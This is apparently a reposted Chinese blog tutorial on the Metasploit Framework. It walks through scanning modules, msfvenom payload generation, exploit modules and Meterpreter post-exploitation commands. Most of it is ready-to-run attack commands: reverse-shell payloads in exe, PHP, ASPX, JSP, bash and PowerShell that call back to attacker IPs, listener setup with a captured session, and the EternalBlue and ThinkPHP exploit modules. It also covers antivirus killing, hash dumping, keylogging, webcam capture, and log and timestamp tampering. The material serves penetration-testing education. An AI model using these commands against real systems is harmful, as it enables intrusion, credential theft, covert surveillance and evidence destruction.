当前位置:   article > 正文

Metasploit渗透框架超详细_connected to msf

connected to msf

常见名词解释

POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性

EXP : Exploit ,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性

Payload :有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者
指令

Shellcode :一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正
向/反向 shell 而得名

Client :客户端

Team Server :服务端, C2 服务器, Beacon Payload 的控制器

Beacon :是 Cobalt Strike 运行在目标主机上的 payload , Beacon 在隐蔽信道
上我们提供服务,用于长期控制受感染主机。

C2 : Command & Control Server 的简称,也就是命令与控制服务器

MSF简介

The Metasploit Framework 的简称。 MSF 高度模块化,即框架由多个 module 组
成,是全球最受欢迎的渗透测试工具之一

是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的
shellcode ,并持续保持更新。

metasploit 涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload
进行一系列的渗透测试。

MSF框架结构

Kali-metasploit 框架目录路径

/usr/share/metasploit-framework
  • 1

  1. data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的
    可编辑文件。
  2. documentation:包含框架的可用文档。
  3. lib:metasploit的库文件夹。
  4. plugins:用来存放metasploit的插件。
  5. scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
  6. tools:存放多种的命令行实用程序。
  7. modules:存储metasploit的模块文件。

kali Metasploit 更新

msfconsole -v # 查看版本
apt-get update
apt-get install metasploit-framework
  • 1
  • 2
  • 3

MSF配置数据库

Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据

开启 postgresql 数据库

service postgresql start
  • 1

初始化 MSF 数据库

msfdb init
  • 1

创建数据库用户: msf
创建数据库: msf
创建数据库: msf_test
创建配置文件: /usr/share/metasploit-framework/config/database.yml
创建保存MSF框架信息所需数据表

启动 msfconsole

msfconsole
  • 1

Msfconsole 是 Metasploit 框架用户接口,我们能通过 Msfconsole 接口使用
Metasploit 中所有模块

Msfconsole 主要用于:

  1. 管理 Metasploit 数据库
  2. 管理会话
  3. 配置启动 Metasploit 模块

启动 msfconsole 时,MSF会使用创建的 msf 用户自动登录到 msf 数据库

查看数据库连接状态

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
  • 1
  • 2

连接到其他数据库

msf6 > db_connect 用户名:口令@服务器地址:端口/数据库名称
  • 1

MSF命令查询

常用命令

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

MSF模块介绍

模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
MSF所有的漏洞测试都是基于模块。

auxiliary(辅助模块)

辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

用于辅助操作的模块,辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发
起更具目标性的精准攻击。

例如针对各种网络服务的扫描与查点、网络扫描、枚举、漏洞扫描、登录口令暴力破
解、模糊测试、爬虫遍历、数据提取等

此外,辅助模块中还包括一些无须加载攻击载荷,同时往往不是取得目标系统远程控
制权的渗透攻击,例如:拒绝服务攻击。

exploits(漏洞利用模块)

包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。
命名规则:操作系统/各种应用协议分类

用于利用漏洞和传递有效负载的模块。利用发现的安全漏洞或配置弱点对远程目标系
统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件。

有远程漏洞利用、本地漏洞利用、权限提升漏洞利用、客户端漏洞利用、Web 应用
程序漏洞利用和许多其他漏洞。

payloads(攻击载荷)

主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

用于在利用期间执行操作的模块。攻击载荷是在渗透攻击成功后在目标系统运行的一
段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透
代码开发中,攻击载荷只是一段功能简单的 ShellCode 代码,以汇编语言编制并转
换为目标系统CPU体系结构支持的机器代码,在渗透攻击触发漏洞后,将程序执行流
程劫持并跳转入这段机器代码中执行,从而完成 ShellCode 中实现的单一功能。

例如建立 Meterpreter 会话、反向 shell 、执行命令、下载和执行程序等。

post(后渗透阶段模块)

漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等

用于在拿到权限后进行后渗透利用操作的模块,例如凭证/哈希转储、本地权限提
升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多
其他操作。

encoders(编码器模块)

主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

用于有效负载编码和加密的模块,例如 base64 、 XOR 、 shikata_ga_nai 等。这
有助于混淆以规避防病毒或 NIDS (网络入侵检测系统)、 EDR (端点检测和响应)
等防御。

evasion(躲避模块)

用来生成免杀payload

用于规避防御的模块,例如防病毒规避、 AppLocker 绕过、软件限制策略 (SRP) 绕
过等。

nops(空指令模块)

空指令就是空操作,提高paylaod稳定性及维持大小

用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存
中滑动等。用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。

是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。

在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大
的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的
Shellcode执行失败,从而提高渗透攻击的可靠性。

MSF辅助扫描模块 - auxiliary

MSF主机发现

模块路径

modules/auxiliary/scanner/discovery/
  • 1

搜索模块

search aux /scanner/discovery
  • 1

arp_sweep:使用arp请求枚举本地局域网中的所有活跃主机
udp_sweep:通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服
务。

模块使用

arp_sweep 模块使用方法

use auxiliary/scanner/discovery/arp_sweep
set RHOSTS xx.xx.xx.xx/24
set THREADS 50
run
  • 1
  • 2
  • 3
  • 4

设置好参数后输入 run 启动扫描器

MSF服务扫描

服务扫描

确定开放端口后,对相应端口上所运行的服务信息进行挖掘

模块搜索

在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以
[service_name]_version 和 [service_name]_login 命名
  • 1
  • 2
[service_name]_version :可用于遍历网络中包含了某种服务的主机,并进
一步确定服务的版本
  • 1
  • 2
[service_name]_login :可对某种服务进行口令探测攻击
  • 1

在MSF终端中可以输入:

search _version
  • 1

查看所有可用的服务探测模块

在MSF终端中可以输入:

search _login
  • 1

可查看所有服务登录口令探测模块

Telnet服务扫描

模块搜索

search scanner/telnet
  • 1

telnet登录
auxiliary/scanner/telnet/telnet_login

扫描telnet版本
auxiliary/scanner/telnet/telnet_version
  • 1
  • 2
  • 3
  • 4
  • 5

模块使用

use auxiliary/scanner/telnet/telnet_version
set RHOSTS xxx.xxx.xxx/24
set THREADS 100
run
  • 1
  • 2
  • 3
  • 4
SSH服务扫描
search scanner/ssh
  • 1
ssh登录
auxiliary/scanner/ssh/ssh_login

ssh公共密钥认证登录
auxiliary/scanner/ssh/ssh_login_pubkey

扫描ssh版本测试
auxiliary/scanner/ssh/ssh_version
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
use auxiliary/scanner/ssh/ssh_version
set RHOSTS xx.xx.xx.x/24
set THREADS 100
run
  • 1
  • 2
  • 3
  • 4
Oracle数据库扫描
search scanner/oracle
  • 1

use auxiliary/scanner/oracle/tnslsnr_version
set RHOSTS xx.xx.xx.xx/24
set THREADS 50
run
  • 1
  • 2
  • 3
  • 4
SMB服务扫描
search scanner/smb
  • 1
SMB枚举
auxiliary/scanner/smb/smb_enumusers
返回DCERPC信息
auxiliary/scanner/smb/pipe_dcerpc_auditor
扫描SMB2协议
auxiliary/scanner/smb/smb2
扫描smb共享文件
auxiliary/scanner/smb/smb_enumshares
枚举系统上的用户
auxiliary/scanner/smb/smb_enumusers
SMB登录
auxiliary/scanner/smb/smb_login
扫描组的用户
auxiliary/scanner/smb/smb_lookupsid
扫描系统版本
auxiliary/scanner/smb/smb_version
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
  • 1
  • 2
  • 3
  • 4
  • 5
MSSQL服务扫描
search scanner/mssql
  • 1
MSSQL登陆工具
scanner/mssql/mssql_login
测试MSSQL的存在和信息
scanner/mssql/mssql_ping
  • 1
  • 2
  • 3
  • 4
msf> use auxiliary/scanner/mssql/mssql_ping
show options 
set RHOSTS 192.168.1.0/24 
set THREADS 255 
run
  • 1
  • 2
  • 3
  • 4
  • 5
FTP扫描
search scanner/ftp
  • 1
ftp版本扫描
scanner/ftp/ftp_version
ftp匿名登录扫描
scanner/ftp/anonymous
  • 1
  • 2
  • 3
  • 4
use auxiliary/scanner/ftp/ftp_version
show options 
set RHOSTS 192.168.1.0/24 
set THREADS 255
run
  • 1
  • 2
  • 3
  • 4
  • 5
SMTP扫描
search scanner/snmp
  • 1
smtp枚举
auxiliary/scanner/smtp/smtp_enum
扫描smtp版本
auxiliary/scanner/smtp/smtp_version
  • 1
  • 2
  • 3
  • 4
SNMP扫描
search scanner/snmp
  • 1
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24 
set THREADS 50 
run
  • 1
  • 2
  • 3
  • 4

MSF端口扫描

模块路径

modules/auxiliary/scanner/portscan/
  • 1

模块搜索

search scanner/portscan
  • 1
auxiliary/scanner/protscan/ack
//通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测

auxiliary/scanner/protscan/ftpbounce
//通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好
的防范此攻击,但在旧的系统上仍可以被利用

auxiliary/scanner/protscan/syn
//使用发送TCP SYN标志的方式探测开放端口

auxiliary/scanner/protscan/tcp
//通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢

auxiliary/scanner/protscan/xmas
//一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的
TCP标记检测器的过滤
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

一般情况下推荐使用 syn 端口扫描器,速度较快,结果准确,不易被对方察觉

模块使用

use auxiliary/scanner/protscan/syn
set RHOSTS 10.10.10.10
set THREADS 20
run
  • 1
  • 2
  • 3
  • 4

WMAP

Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,
Metasploit内置了 WMAP WEB 扫描器

要先创建一个数据库用来存放扫描数据,初始化 wmap

使用wmap扫描

msf > wmap_sites -a http://xx.xx.xx.xx //添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://xx.xx.xx.xx //把添加的网站作为扫描目标
msf > wmap_run -t   //查看那些模块将在扫描中使用
msf > wmap_run -e   //开始扫描
msf > vulns     //查看漏洞信息
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

MSF攻击载荷模块 - payloads

模块路径

/usr/share/metasploit-framework/modules/payloads
  • 1

payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回
shell,也可以进行程序注入等。

Payload类型

singles

独立载荷,可直接植入目标系统并执行相应的程序,如: shell_bind_tcp 这个
payload 。

adduser 实例 (singles)

添加管理员用户,cmd执行的payload

search adduser

use 4

options

set user admin

set pass Admin@123

generate

generate -f
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

生成exe程序

search adduser

use 3

generate -f exe -o xxx.exe

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

stagers

传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻
击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常
相似,大致分为 bind 型和 reverse 型, bind 型是需要攻击机主动连接目标端口
的;而 reverse 型是目标机会反连接攻击机,需要提前设定好连接攻击机的IP地址和
端口号。

stages

传输体载荷,如 shell , meterpreter 等。在 stagers 建立好稳定的连接后,攻击
机将 stages 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stages 。
比如得到目标机的 shell ,或者 meterpreter 控制程序运行。这样攻击机可以在本
端输入相应命令控制目标机。

meterpreter 其实就是一个 payload ,它需要 stagers 和相应的 stages 配合运
行, meterpreter 是运行在内存中的,通过注入 dll 文件实现,在目标机硬盘上不
会留下文件痕迹,所以在被入侵时很难找到。

Stageless payload & Staged payload

payload分为 staged (分阶段)和 stageless (不分阶段):

Stageless payload: <platform>/[arch]/<single>
  • 1

Stageless Meterpreter 是一个二进制文件,包含Meterpreter的所有必需部分以
及所有必需的扩展全部捆绑在 一起,将完整的payload都编译在木马中,体积庞大,
可直接独立地植入目标系统进行执行

Staged payload: <platform>/[arch]/<stage>/<stager>
  • 1

Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到
另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首
先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传
输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。

stageless 和 staged 就像web入侵里面提到的大马和小马一样,一个功能齐全,一
个只是构造一个连接或命令执行,还需通过其他工具和脚本进行管理

![[Pasted image 20221226220707.png]]

Payload生成

msfvenom简介

Msfvenom — Metasploit 独立有效负载生成器,是用来生成后门的软件,在目标
机上执行后门上线。

msfvenom选项

Options:

-p:–payload,指定特定的 Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。 指定操作系统

-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all

-n:–nopsled,指定 nop在 payload中的数量

-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式) php exe

-e:–encoder,指定使用编码的encoder

X86/shikata_ga_nai最流行的编码,等级为excellent;

解码和编码过程都是随机生成的;cmd/powershell_base64也为excellent;

-a:–arch,指定目标系统架构 arm-安卓 x86 mips工业系统-路由器-交换机

–platform:指定目标系统平台 linus windows ios 安卓

-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)

-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等

-i:–iterations,设置 Payload的编码次数

–smallest:尽可能生成最短的 Payload

-o:–out,保存 Payload到文件

-c:–add-code,指定一个附加的win32 shellcode文件

-x:–template,指定一个特定的可执行文件作为模板

-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行

-v, --var-name,指定一个自定义的变量,以确定输出格式

-t, --timeout,从STDIN读取有效负载时要等待的秒数(默认为30,0 为禁用)

 -h, --help,查看帮助选项
     --help-formats,查看msf支持的输出格式列表

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

msfvenom生成payload

生成 payload ,有两个必须的选项: -p 、 -f ,使用 -p 来指定要使用的
payload ,使用 -f 来指定 payload 的输出格式

查看所有 MSF 可用的 payload 列表
msfvenom -l payloads
  • 1

查看 MSF 支持的输出格式
msfvenom -l formats
  • 1

查看可用平台
msfvenom -l platforms
  • 1

生成 exe 格式的 payload
msfvenom -p windows/meterpreter/bind_tcp -f exe -o 123.exe
  • 1

msfvenom使用实例

msfvenom 生成 windows 可执行程序
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=192.168.41.128 lport=5445 -f exe -o 5445.exe


-p windows/x64/meterpreter/reverse_tcp:指定payload类型为windows 
x64系统下运行的反向TCP连接的meterpreter
lhost=192.168.41.128:指定payload反向连接的IP地址
lport=5445:指定payload反向连接的端口号
-f exe:生成exe格式的payload
-o m1.exe:保存payload为5445.exe文件名
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
msfconsole 开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload 
windows/meterpreter/reverse_tcp  
msf6 exploit(multi/handler) > set lhost 192.168.41.128
msf6 exploit(multi/handler) > set lport 5445  
msf6 exploit(multi/handler) > run
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
msfvenom 生成 payload ( web payload )
php:
msfvenom-p php/meterpreter/reverse_tcp LHOST=192.168.2.2 
LPORT=4444 -f raw > shell.php

asp:
msfvenom -a x64 --platform windows -p 
windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4444 -
f aspx -o shell.aspx

jsp:
Msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.2 
LPORT=4444 -f raw > shell.jsp

war:
msfvenom-p java/jsp_shell_reverse_tcp LHOST=192.168.2.2 
LPORT=4444 -f war > shell.war
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

实例:
生成payload:

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.40.132
lport=5555 -f raw -o shell_.php
  • 1
  • 2

创建监听器:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.40.132
msf6 exploit(multi/handler) > set lport 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.40.132:5555
[*] Meterpreter session 3 opened (192.168.40.132:5555 -> 
192.168.40.142:49419) at 10:54:02 -0400
meterpreter > sysinfo
Computer : SOURCE-PC
OS : Windows NT SOURCE-PC 6.1 build 7600 Meterpreter : 
php/windows
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
msfvenom 生成 payload (脚本 payload )
python:
msfvenom-p python/meterpreter/reverse_tcp LHOST=192.168.2.2 
LPORT=4444 -f raw > shell.py

PowerShell:
msfvenom -p windows/x64/meterpreter_reverse_http 
LHOST=192.168.2.2 LPORT=4444 -f psh > shell.ps1

bash:
msfvenom-p cmd/unix/reverse_bash LHOST=192.168.2.2 LPORT=4444 
-f raw > shell.sh

perl:
msfvenom-p cmd/unix/reverse_perl LHOST=192.168.2.2 LPORT=4444 
-f raw > shell.pl
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

实例:

msfvenom -p windows/x64/meterpreter_reverse_http
LHOST=192.168.2.2 LPORT=4444 -f psh > shell.ps1

powershell.exe -ExecutionPolicy Bypass -File shell.ps1
  • 1
  • 2
  • 3
  • 4

MSF漏洞利用模块 - exploits

模块路径

/usr/share/metasploit-framework/modules/exploits
  • 1

Windows - MS17-010

search ms17-010
  • 1
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.3.23
check //检测目标是否存在漏洞
run //运行攻击模块
  • 1
  • 2
  • 3
  • 4

Linux - Thinkphp-RCE

search thinkphp
  • 1

![[Pasted image 20221226225141.png]]

use exploit/unix/webapp/thinkphp_rce
set rhosts xx.xx.xx.xx
set rport xxxx
set srvport xxxxxx
set lhost xx.xx.xx.xx
set lport xxxx
run
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

![[Pasted image 20221226231600.png]]

Meterpreter扩展模块

meterpreter简介

Meterpreter 是一个高级、动态、可扩展的 payload ,简单理解是一个高级的
CMD ,里面封装了 Metasploit 的功能

Meterpreter 是 Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个 Meterpreter shell 的链接。

Meterpreter shell 作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

meterpreter 特点

Metasploit 提供了各个主流平台的 Meterpreter 版本,包括 Windows、Linux ,同时支持 x86、x64 平台,另外, Meterpreter 还提供了基于 PHP 和 Java 语言的实现。 Meterpreter 的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter 还支持 Ruby 脚本形式的扩展。

进入meterpreter

background:将当前session挂起
sessions -l:列出当前所有的session  
sessions -i id:进入某个session
  • 1
  • 2
  • 3

常用命令

background #放回后台
exit #关闭会话
help #帮助信息
sysinfo #系统平台信息
screenshot #屏幕截取
shell #命令行shell (exit退出)  
getlwd #查看本地目录
lcd #切换本地目录
getwd #查看目录
ls #查看文件目录列表
cd #切换目录
rm #删除文件
download C:\\1.txt 1.txt #下载文件
upload /var/www/wce.exe wce.exe #上传 文件
search -d c: -f *.doc #搜索文件
execute -f cmd.exe -i #执行程序/命令
ps #查看进程
getuid #查看当前用户权限
run killav #关闭杀毒软件
run getgui-e #启用远程桌面
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

meterpreter常用shell

reverse_tcp

基于TCP的反弹shel

linux/x86/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
  • 1
  • 2

bind_tcp

基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所
以在内网中经常会使用,不需要设置LHOST

linux/x86/meterpreter/bind_tcp
  • 1

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定

windows/meterpreter/reverse_http
  • 1

reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定。

windows/meterpreter/reverse_https
  • 1

meterpreter命令详解

核心命令

?           – 帮助菜单
background – 将当前会话移动到后台
bg         - background的别名
bgkill     – 总之后台 meterpreter 脚本
bglist     – 列出后台运行中的脚本
bgrun       – 作为一个后台线程运行脚本
channel     – 显示活动频道
close       – 关闭通道
disable_unicode_encoding   - 禁用unicode字符串的编码
enable_unicode_encoding     - 启用unicode字符串的编码
exit       – 终止 meterpreter 会话
help       – 帮助菜单
info       - 显示有关Post模块的信息
irb         - 在当前会话上打开交互式 Ruby 外壳
load       - 加载一个或多个meterpreter扩展
machine_id - 获取连接到会话的计算机的 MSF ID
migrate     - 将服务迁移到另一个进程
pivot       - 管理pivot侦听器
pry         - 打开当前会话上的pry调试器
quit       - 终止 meterpreter 会话
read       - 从通道中读取数据
resource   - 运行存储在文件中的命令
run         - 执行一个meterpreter 脚本 或者 Post模块
secure     - 在会话中协商TLV分组加密
sessions   - 快速切换到另外一个session
set_timeouts - 设置当前会话的超时值
sleep       - 强制meterpreter停止活动,然后重新建立会话
transport   - 改变目前的运输机制.
use         - 加载 meterpreter 的扩展,'load'的旧别名
uuid       - 获取当前会话的UUID
write       – 将数据写入到一个通道
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

文件系统命令

cat         - 读取并输出到标准输出文件的内容
cd         - 更改目录对受害人
checksum   - 检索文件的校验和
cp         - 将源复制到目标
dir         - 列出文件(别名为 ls)
download   - 下载文件或目录
edit       - 编辑文件
getlwd     - 输出本地工作目录
getwd       - 输出工作目录
lcd         - 更改本地工作目录
lls         - 列出本地文件
lpwd       - 输出本地工作目录
ls         - 列出当前目录中的文件列表
mkdir       - 创建目录
mv         - 将源移动到目标
rm         - 删除指定的文件
rmdir       - 删除目录
search     - 在目标主机文件系统上查找搜索文件 例如:search -d c:\\ 
-f *.doc 在目标主机C盘下搜索doc文档
show_mount - 列出所有装载点/逻辑驱动器
upload     - 上传文件或目录

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

网络命令


arp         - 显示主机ARP缓存
getproxy   - 显示当前代理配置
ifconfig   - 显示网络接口的关键信息
ipconfig   - 显示网络接口的关键信息
netstat     - 显示网络连接
portfwd     - 将本地端口转发到远程服务
例如:portfwd add -l 1122 -p 3389 -r 
192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
resolve     - 解析目标上的一组主机名
route       - 查看或加入受害者路由表 route add 5.5.5.0 
255.255.255.0 1 用sessions 1会话加入指定网段
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

系统命令

clearev     - 清除事件日志
drop_token - 放弃任何活动模拟令牌。
execute     - 执行命令,在目标主机上运行某个程序 execute -f 
notepad.exe ,执行目标主机上的记事本程序,隐藏后台执行,加参数-H
getenv     - 获取一个或多个环境变量值
getpid     - 获取当前进程 ID (PID)
getprivs   - 尝试启用当前进程可用的所有权限
getsid     - 获取当前运行服务用户的SID
getuid     - 获取当前运行服务的用户
kill       - 终止进程
localtime   - 显示目标系统的本地日期和时间
pgrep       - 按名称显示进程
pkill       - 按名称终止进程
ps         - 列出正在运行的进程
reboot     - 重新启动受害人的计算机
reg         - 与受害人的注册表进行交互
rev2self   - 在受害者机器上调用 RevertToSelf()
shell       - 在远程计算机上打开一个shell
shutdown   - 关闭远程计算机
steal_token - 试图窃取指定的 (PID) 进程的令牌
suspend     - 挂起或恢复进程列表
sysinfo     - 获取关于远程系统的信息,如操作系统
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

用户界面命令

enumdesktops   - 列出所有可访问的desktops和Windows
getdesktop     - 获取当前的 meterpreter 桌面
idletime       - 检查长时间以来,受害者系统空闲进程
keyboard_send   - 发送一个键盘记录器
keyevent       - 发送key事件
keyscan_dump   - 转储键盘记录器缓冲区内容
keyscan_start   - 启动键盘记录器
keyscan_stop   - 停止键盘记录器
mouse           - 发送鼠标事件
screenshare     - 实时监视远程用户的桌面
screenshot     - 抓取交互式桌面的屏幕截图
setdesktop     - 更改 meterpreter 当前桌面
uictl           - 启用用户界面组件的一些控件
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

摄像头命令

record_mic     - 从默认麦克风记录音频X秒
webcam_chat     - 启动视频聊天
webcam_list     - 列出摄像头
webcam_snap     - 从指定的网络摄像头获取snapshot
webcam_stream   - 从指定的网络摄像头播放视频流
  • 1
  • 2
  • 3
  • 4
  • 5

音频输出命令

play   - 在目标系统上播放波形音频文件(.wav)
  • 1

提权命令

getsystem   - 获得系统管理员权限
  • 1

密码转储命令

hashdump   - 抓取哈希密码 (SAM) 文件中的值
hashdump 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”
和”run smart_hashdump”。

  • 1
  • 2
  • 3
  • 4

Timestomp

timestomp   - 操作修改文件的MACE属性
Modified:修改时间
Accessed:访问时间
Created:创建时间
Entry Modified: 条目修改时间
  • 1
  • 2
  • 3
  • 4
  • 5
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/583541
推荐阅读